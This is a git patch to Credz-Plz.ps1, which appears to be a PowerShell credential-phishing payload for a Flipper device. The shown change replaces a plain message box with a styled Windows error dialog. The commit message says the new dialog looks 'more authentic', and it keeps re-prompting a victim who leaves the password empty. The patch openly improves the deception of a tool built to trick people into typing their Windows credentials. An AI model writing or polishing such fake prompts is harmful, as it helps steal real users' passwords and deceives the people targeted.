From 4a234bcbdc130e6de8ee4749715d39649d66e9e1 Mon Sep 17 00:00:00 2001 From: Kavitate <79380289+Kavitate@users.noreply.github.com> Date: Wed, 11 Jan 2023 15:24:26 -0600 Subject: [PATCH] Updated Credz-Plz.ps1 Added a more authentic looking "Credentials cannot be empty!" error message. - Tested and functioning properly on Windows 10. --- Payloads/Flip-Credz-Plz/Credz-Plz.ps1 | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 index 479b023..e391e24 100644 --- a/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 +++ b/Payloads/Flip-Credz-Plz/Credz-Plz.ps1 @@ -62,7 +62,13 @@ while ($form -eq $null) if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) { - [System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!") + Add-Type -AssemblyName PresentationCore,PresentationFramework + $msgBody = "Credentials cannot be empty!" + $msgTitle = "Error" + $msgButton = 'Ok' + $msgImage = 'Stop' + $Result = [System.Windows.MessageBox]::Show($msgBody,$msgTitle,$msgButton,$msgImage) + Write-Host "The user clicked: $Result" $form = $null }